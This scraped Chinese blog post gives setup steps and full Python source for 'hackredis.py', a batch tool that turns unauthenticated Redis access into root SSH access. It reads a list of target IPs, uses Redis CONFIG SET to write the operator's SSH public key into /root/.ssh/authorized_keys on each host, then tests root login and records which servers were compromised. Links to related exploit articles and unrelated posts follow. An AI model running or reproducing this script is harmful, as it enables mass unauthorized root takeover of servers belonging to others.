一.getshell前提

①能有对 /root/.ssh/目录写入的权限

②目标机开启22端口

二.安装依赖

sudo easy_install redis

三.使用

redis python hackredis.py
usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT] For Example:
-----------------------------------------------------------------------------
python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22 optional arguments:
-h, --help show this help message and exit
-l IPLIST the hosts of target
-p PORT the redis default port
-r ID_RSAFILE the ssh id_rsa file you generate
-sp SSH_PORT the ssh port

四.创建ssh密钥

ssh-keygen -t rsa              /一直按回车就OK了
cp ~/.ssh/id_rsa.pub /tmp/foo.txt

五.启动脚本

将ip列表填入ip.txt,然后就可以跑了。 成功的将会输出到success.txt,执行成功但是ssh连接失败的会存储在unconnect.txt,操作失败的会存储在fail.txt。

!/usr/bin/python

#coding:utf-8

#############################################################

## @file hackredis.py         ##

## @date 2015-12-11          ##

## @author evi1cg           ##

#############################################################

import redis

import argparse

import textwrap

import sys

import pexpect

def getargs():

    parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''/

    For Example:

    -----------------------------------------------------------------------------

    python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22'''))

    parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target')

    parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port')

    parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate')

    parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port')

    if(len(sys.argv[1:]) / 2 != 4):

        sys.argv.append('-h')

    return parser.parse_args()

def hackredis(host,port):

    ck = 0

    try:

        print "[*] Attacking ip:%s"%host

        r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2)

        r.flushall

        r.set('crackit',foo)

        r.config_set('dir','/root/.ssh/')

        r.config_set('dbfilename','authorized_keys')

        r.save()

        ck =1

    except:

        print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host

        write(host,2)

        ck =0

    if ck == 1:

        check(host)

    else:

        pass

def check(host):

    print '/033[1;33;40m[*]/033[0m Check connecting... '

    try:

            ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port))

            i = ssh.expect('[#/$]',timeout=2)

            if i == 0:

                print "/033[1;34;40m[+]/033[0m Success !"

                write(host,1)

            else:

                pass

    except:

            print "/033[1;32;40m[-]/033[0m Failed to connect !"

            write(host,3)

def write(host,suc):

    if suc == 1:

        filesname = 'success.txt'

    elif suc ==2:

        filesname = 'fail.txt'

    elif suc ==3:

        filesname = 'unconnect.txt'

    else:

        pass

    file_object = open(filesname,'a')

    file_object.write(host+'/n')

    file_object.close()

def main():

    global foo,ssh_port

    paramsargs = getargs()

    try:

        hosts = open(paramsargs.iplist,"r")

    except(IOError):

        print "Error: Check your hostfile path/n"

        sys.exit(1) 

    port = paramsargs.port

    ssh_port = paramsargs.ssh_port

    try:

        foo = '/n/n/n'+open(paramsargs.id_rsafile,"r").readline()+'/n/n/n'

    except(IOError):

        print "Error: Check your wordlist path/n"

        sys.exit(1)  

    ips = [p.replace('/n','') for p in hosts]

    for ip in ips:

        hackredis(ip.strip(),port)

if __name__ == "__main__":

    main()

原文链接:http://www.secange.com/2017/09/redis未授权批量提权脚本python-2/

Redis 未授权访问漏洞批量提权的更多相关文章

  1. Docker环境复现利用Redis未授权访问漏洞 >> 批量扫描检测利用

    关于Redis Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value数据库 ...

  2. 利用redis未授权访问漏洞(windows版)

    0x00 原理   首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...

  3. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  4. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  5. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

  6. docker搭建redis未授权访问漏洞环境

    这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...

  7. redis未授权访问漏洞那拿SHELL

    一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...

  8. 10.Redis未授权访问漏洞复现与利用

    一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...

  9. Redis未授权访问漏洞复现

    Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...

随机推荐

  1. 无法为数据库 'tempdb' 中的对象分配空间,因为 'PRIMARY' 文件组已满

    错误描述 消息 1105,级别 17,状态 2,第 1 行无 法为数据库 'tempdb' 中的对象 'dbo.SORT temporary run storage:  140737503494144 ...

  2. CPU 运算实现过程

    总结 加法运算过程:十进制:1+1=2二进制01+01=10实现过程: 在做加法时CPU内部会调用加法器,实际上加法运算器所做的工作就是按位与操作和进位运算!所谓的进位运算规则和十进制一样满10进一而 ...

  3. hdu1404,hdu1517 (博弈论入门)

    SG定理: 根据Sprague-Grundy定理(SG定理),对于某些博弈论问题可以这样思考: 首先可以确定一个必败状态(记为P)或必胜状态(记为N): 这样一来,若某一状态X若 可以 直接转移到P, ...

  4. 集合与map

  5. CF1430 E. String Reversal(div 2)

    题目链接:http://codeforces.com/contest/1430/problem/E 题意:有一串长度为n(n<=2*10^5)由小写字母组成的字符串,求通过相邻交换得到其反转串( ...

  6. 企业级数据大屏设计如何实现,div+html+echarts

    大屏是什么? 大屏设计是最近比较流行的概念,一般按照功能来分有几种: 1. 可交互的触摸屏,大多运用在互动教学课程或者报告演示现场,用户可结合交互操作来阐述具体内容.设计师需要对交互形式和传达内容作统 ...

  7. MongoDB下载安装与配置

    一.下载与安装 1.进入mongodb官网,try->download->community找到下载.或者直接在地址栏输入:https://www.mongodb.com/try/down ...

  8. Java学习的第十五天

    1.今天复习了第四章的内容 重新看了看方法参数问题,final修饰的关键字 2.今天没问题 3.明天学习多态变化

  9. python机器学习之支持向量机SVM

    支持向量机SVM(Support Vector Machine) 关注公众号"轻松学编程"了解更多. [关键词]支持向量,最大几何间隔,拉格朗日乘子法 一.支持向量机的原理 Sup ...

  10. python网络编程(TCP/IP、发邮件)

    TCP/IP 关注公众号"轻松学编程"了解更多. 计算机为了联网,就必须规定通讯协议,早期的计算机网络是由各个厂商规定的一些协议,他们之间互不兼容. 为了把全世界的电脑能够连接到一 ...